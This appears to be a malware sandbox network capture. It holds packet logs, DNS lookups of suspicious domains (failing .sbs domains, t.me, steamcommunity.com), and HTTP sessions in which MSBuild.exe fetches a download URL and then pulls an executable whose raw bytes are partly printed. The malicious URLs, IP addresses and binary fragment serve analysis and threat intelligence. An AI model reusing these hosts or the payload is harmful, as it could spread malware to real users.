Oct 7, 2024 21:19:02.424962997 CEST	443	49992	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.425017118 CEST	49992	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.425040960 CEST	443	49992	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.425049067 CEST	443	49992	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.425106049 CEST	49992	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.425301075 CEST	49992	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.425312996 CEST	443	49992	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.425349951 CEST	49992	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.425355911 CEST	443	49992	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.427464962 CEST	49996	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.427506924 CEST	443	49996	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.427572012 CEST	49996	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.427678108 CEST	49996	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.427695036 CEST	443	49996	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.457897902 CEST	443	49993	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.457957983 CEST	443	49993	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.458045959 CEST	49993	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.458084106 CEST	443	49993	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.458103895 CEST	443	49993	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.458254099 CEST	49993	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.458282948 CEST	443	49993	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.458295107 CEST	49993	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.458302975 CEST	443	49993	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.460851908 CEST	49997	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.460897923 CEST	443	49997	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.460975885 CEST	49997	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.461122036 CEST	49997	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.461138010 CEST	443	49997	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.480341911 CEST	443	49991	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.480412960 CEST	443	49991	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.480433941 CEST	49991	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.480443954 CEST	443	49991	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.480470896 CEST	49991	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.480494976 CEST	49991	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.480556965 CEST	49991	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.480575085 CEST	443	49991	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.480582952 CEST	49991	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.480587959 CEST	443	49991	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.482669115 CEST	49998	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.482709885 CEST	443	49998	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.482774973 CEST	49998	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.482889891 CEST	49998	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.482902050 CEST	443	49998	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.491848946 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:19:02.491890907 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:19:02.496778965 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:02.496820927 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:02.496898890 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:02.496927977 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:02.496954918 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:02.497128010 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:02.779424906 CEST	443	49994	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.780340910 CEST	49994	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.780359030 CEST	443	49994	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.780858040 CEST	49994	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.780863047 CEST	443	49994	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.885139942 CEST	443	49994	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.885629892 CEST	443	49994	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.885771036 CEST	49994	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.885808945 CEST	49994	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.885809898 CEST	49994	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.885826111 CEST	443	49994	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.885834932 CEST	443	49994	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.888451099 CEST	49999	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.888501883 CEST	443	49999	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.888592958 CEST	49999	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.888705969 CEST	49999	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.888715982 CEST	443	49999	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.039133072 CEST	443	49995	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.039562941 CEST	49995	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.039580107 CEST	443	49995	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.040069103 CEST	49995	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.040081978 CEST	443	49995	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.060009956 CEST	443	49996	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.060725927 CEST	49996	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.060749054 CEST	443	49996	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.061383009 CEST	49996	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.061388969 CEST	443	49996	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.093278885 CEST	443	49997	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.093820095 CEST	49997	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.093852997 CEST	443	49997	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.094153881 CEST	49997	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.094161034 CEST	443	49997	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.147676945 CEST	443	49995	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.147738934 CEST	443	49995	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.147814989 CEST	49995	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.148108006 CEST	49995	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.148108006 CEST	49995	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.148125887 CEST	443	49995	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.148135900 CEST	443	49995	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.150556087 CEST	50000	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.150599957 CEST	443	50000	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.150671959 CEST	50000	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.150801897 CEST	50000	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.150810003 CEST	443	50000	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.153661013 CEST	443	49998	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.156193018 CEST	49998	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.156204939 CEST	443	49998	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.156603098 CEST	49998	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.156606913 CEST	443	49998	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.168492079 CEST	443	49996	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.168570042 CEST	443	49996	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.168667078 CEST	49996	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.168833017 CEST	49996	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.168833017 CEST	49996	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.168855906 CEST	443	49996	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.168869019 CEST	443	49996	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.170747042 CEST	50001	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.170789003 CEST	443	50001	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.170845985 CEST	50001	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.170969963 CEST	50001	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.170980930 CEST	443	50001	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.199201107 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:03.199949026 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:19:03.208993912 CEST	443	49997	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.209470034 CEST	443	49997	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.209568024 CEST	49997	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.209733963 CEST	49997	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.209749937 CEST	443	49997	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.209759951 CEST	49997	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.209764957 CEST	443	49997	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.212624073 CEST	50002	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.212641001 CEST	443	50002	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.212707996 CEST	50002	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.212970018 CEST	50002	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.212981939 CEST	443	50002	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.247868061 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:19:03.253087044 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:03.268961906 CEST	443	49998	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.269644022 CEST	443	49998	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.269701958 CEST	443	49998	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.269726038 CEST	49998	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.269768000 CEST	49998	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.269943953 CEST	49998	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.269956112 CEST	443	49998	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.269963980 CEST	49998	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.269968033 CEST	443	49998	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.533937931 CEST	443	49999	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.534516096 CEST	49999	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.534532070 CEST	443	49999	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.534965992 CEST	49999	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.534971952 CEST	443	49999	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.639230013 CEST	443	49999	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.639555931 CEST	443	49999	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.639657021 CEST	49999	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.639657021 CEST	49999	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.639698029 CEST	49999	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.639725924 CEST	443	49999	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.800113916 CEST	443	50000	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.825815916 CEST	50000	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.825848103 CEST	443	50000	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.826276064 CEST	50000	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.826282978 CEST	443	50000	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.832331896 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:03.832458019 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:19:03.839314938 CEST	443	50001	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.839696884 CEST	50001	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.839715004 CEST	443	50001	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.840089083 CEST	50001	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.840094090 CEST	443	50001	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.858769894 CEST	443	50002	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.859111071 CEST	50002	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.859123945 CEST	443	50002	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.859510899 CEST	50002	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.859517097 CEST	443	50002	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.934175968 CEST	443	50000	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.934333086 CEST	443	50000	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.934402943 CEST	50000	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.936074018 CEST	50000	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.936094046 CEST	443	50000	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.936106920 CEST	50000	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.936114073 CEST	443	50000	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.950206995 CEST	443	50001	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.950404882 CEST	443	50001	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.950509071 CEST	50001	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.951850891 CEST	50001	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.951873064 CEST	443	50001	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.951884985 CEST	50001	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.951890945 CEST	443	50001	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.968374968 CEST	443	50002	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.968521118 CEST	443	50002	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:03.968589067 CEST	50002	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.971829891 CEST	50002	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:03.971849918 CEST	443	50002	13.107.253.45	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 21:18:02.550009966 CEST	192.168.2.5	1.1.1.1	0x8a8a	Standard query (0)	heks.egrowbrands.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:30.020730019 CEST	192.168.2.5	1.1.1.1	0x341c	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:30.910250902 CEST	192.168.2.5	1.1.1.1	0x94ea	Standard query (0)	kasm.zubairgul.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:51.659415960 CEST	192.168.2.5	1.1.1.1	0xd873	Standard query (0)	nsdm.cumpar-auto-orice-tip.ro	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:53.251414061 CEST	192.168.2.5	1.1.1.1	0x4370	Standard query (0)	exemplarou.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:53.266083002 CEST	192.168.2.5	1.1.1.1	0x12e6	Standard query (0)	frizzettei.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:53.279881001 CEST	192.168.2.5	1.1.1.1	0x472c	Standard query (0)	isoplethui.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:53.294841051 CEST	192.168.2.5	1.1.1.1	0xdaab	Standard query (0)	bemuzzeki.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:53.346254110 CEST	192.168.2.5	1.1.1.1	0x5380	Standard query (0)	exilepolsiy.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:53.357997894 CEST	192.168.2.5	1.1.1.1	0x8261	Standard query (0)	laddyirekyi.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:53.371885061 CEST	192.168.2.5	1.1.1.1	0x3b2a	Standard query (0)	invinjurhey.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:53.385740995 CEST	192.168.2.5	1.1.1.1	0xa786	Standard query (0)	wickedneatr.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:53.404594898 CEST	192.168.2.5	1.1.1.1	0xfa19	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:54.751830101 CEST	192.168.2.5	1.1.1.1	0x1482	Standard query (0)	cowod.hopto.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 21:18:02.563281059 CEST	1.1.1.1	192.168.2.5	0x8a8a	No error (0)	heks.egrowbrands.com		147.45.44.104	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:03.876311064 CEST	1.1.1.1	192.168.2.5	0x6912	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:03.876311064 CEST	1.1.1.1	192.168.2.5	0x6912	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:04.973572969 CEST	1.1.1.1	192.168.2.5	0x1f53	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 21:18:04.973572969 CEST	1.1.1.1	192.168.2.5	0x1f53	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:16.083050966 CEST	1.1.1.1	192.168.2.5	0x7b13	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 21:18:16.083050966 CEST	1.1.1.1	192.168.2.5	0x7b13	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 21:18:16.083050966 CEST	1.1.1.1	192.168.2.5	0x7b13	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:30.027884007 CEST	1.1.1.1	192.168.2.5	0x341c	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:30.926903009 CEST	1.1.1.1	192.168.2.5	0x94ea	No error (0)	kasm.zubairgul.com		95.164.90.97	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:51.668740988 CEST	1.1.1.1	192.168.2.5	0xd873	No error (0)	nsdm.cumpar-auto-orice-tip.ro		147.45.44.104	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:53.260833025 CEST	1.1.1.1	192.168.2.5	0x4370	Name error (3)	exemplarou.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:53.276211023 CEST	1.1.1.1	192.168.2.5	0x12e6	Name error (3)	frizzettei.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:53.290143013 CEST	1.1.1.1	192.168.2.5	0x472c	Name error (3)	isoplethui.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:53.304572105 CEST	1.1.1.1	192.168.2.5	0xdaab	Name error (3)	bemuzzeki.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:53.355633974 CEST	1.1.1.1	192.168.2.5	0x5380	Name error (3)	exilepolsiy.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:53.369987011 CEST	1.1.1.1	192.168.2.5	0x8261	Name error (3)	laddyirekyi.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:53.382569075 CEST	1.1.1.1	192.168.2.5	0x3b2a	Name error (3)	invinjurhey.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:53.396131039 CEST	1.1.1.1	192.168.2.5	0xa786	Name error (3)	wickedneatr.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:53.414772987 CEST	1.1.1.1	192.168.2.5	0xfa19	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:18:54.762993097 CEST	1.1.1.1	192.168.2.5	0x1482	No error (0)	cowod.hopto.org		45.132.206.251	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	147.45.44.104	80	6004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 21:18:01.820668936 CEST	73	OUT	GET /ldms/offers.txt HTTP/1.1 Host: 147.45.44.104 Connection: close
Oct 7, 2024 21:18:02.434848070 CEST	307	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:02 GMT Content-Type: text/plain Content-Length: 49 Last-Modified: Mon, 07 Oct 2024 18:40:00 GMT Connection: close ETag: "67042b00-31" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 68 74 74 70 3a 2f 2f 68 65 6b 73 2e 65 67 72 6f 77 62 72 61 6e 64 73 2e 63 6f 6d 2f 6c 64 6d 73 2f 32 32 35 39 34 65 31 33 32 37 36 34 2e 65 78 65 Data Ascii: http://heks.egrowbrands.com/ldms/22594e132764.exe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	147.45.44.104	80	6004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 21:18:02.575098991 CEST	301	OUT	GET /ldms/22594e132764.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: heks.egrowbrands.com Connection: Keep-Alive
Oct 7, 2024 21:18:03.171298981 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:03 GMT Content-Type: application/octet-stream Content-Length: 585216 Last-Modified: Mon, 07 Oct 2024 19:13:34 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "670432de-8ee00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3d 89 39 06 79 e8 57 55 79 e8 57 55 79 e8 57 55 aa 9a 54 54 75 e8 57 55 aa 9a 52 54 d2 e8 57 55 aa 9a 53 54 6c e8 57 55 aa 9a 56 54 7a e8 57 55 79 e8 56 55 21 e8 57 55 69 6c 54 54 6d e8 57 55 69 6c 53 54 6b e8 57 55 69 6c 52 54 34 e8 57 55 31 6d 5e 54 78 e8 57 55 31 6d a8 55 78 e8 57 55 31 6d 55 54 78 e8 57 55 52 69 63 68 79 e8 57 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 dd 32 04 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 29 00 12 02 00 00 e6 06 00 00 00 00 00 52 6f 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$=9yWUyWUyWUTTuWURTWUSTlWUVTzWUyVU!WUilTTmWUilSTkWUilRT4WU1m^TxWU1mUxWU1mUTxWURichyWUPEL2g)Ro0@0\|@(@0,.text `.rdatax0@@.data'@.rsrc@@.reloc@B
Oct 7, 2024 21:18:03.171329975 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: H<h BaYh BxaYh BlaYHEH<h BLaYjjhHHDh B-aYVWj!YHQDHP3B
Oct 7, 2024 21:18:03.171348095 CEST	1236	IN	Data Raw: 01 59 74 0a 6a 14 56 e8 61 58 00 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 e4 f8 83 ec 1c a1 40 d0 42 00 33 c4 89 44 24 18 8b 45 10 56 8b f1 8d 4c 24 04 50 e8 28 14 00 00 8d 44 24 04 8b ce 50 ff 75 0c ff 75 08 e8 3a ff ff ff 8d 4c 24 04 e8 d2 1c 00 Data Ascii: YtjVaXYY^U@B3D$EVL$P(D$Puu:L$L$\2B^3W]Vt$\2B^Vt$WVP2BFVGW_^BU}uMjhBuRYMPE]D$VtjV
Oct 7, 2024 21:18:03.171416044 CEST	1236	IN	Data Raw: 00 83 c4 10 c2 0c 00 56 8b 74 24 0c 57 8b f9 eb 16 0f b7 06 8b cf 8b 17 50 ff 74 24 10 ff 52 10 84 c0 75 09 83 c6 02 3b 74 24 14 75 e4 5f 8b c6 5e c2 0c 00 56 8b 74 24 0c 57 8b f9 eb 16 0f b7 06 8b cf 8b 17 50 ff 74 24 10 ff 52 10 84 c0 74 09 83 Data Ascii: Vt$WPt$Ru;t$u_^Vt$WPt$Rt;t$u_^APt$NYYVt$;t$tWyWPfNfYY;t$u_^APt$OYYVt$;t$tWyWPOfYY;t$u_^UAWPEf
Oct 7, 2024 21:18:03.171432018 CEST	1236	IN	Data Raw: e0 03 25 e8 00 00 00 66 42 66 bb e3 03 66 35 c0 02 66 81 e9 c8 03 81 c3 fb 02 00 00 66 f7 e2 66 81 f3 24 02 66 f7 ea 66 33 c7 c1 c1 f4 72 0c 42 66 2b f1 66 f7 e8 c1 eb aa eb 14 0f b6 f6 66 f7 e0 f7 e6 49 66 c1 cb 25 23 cb 4e 40 66 f7 e3 f7 e0 66 Data Ascii: %fBff5fff$ff3rBf+ffIf%#N@ffueofff"fff#f+#BP[uEYjVP]iM[i][u3i[3Em]MUE3tt
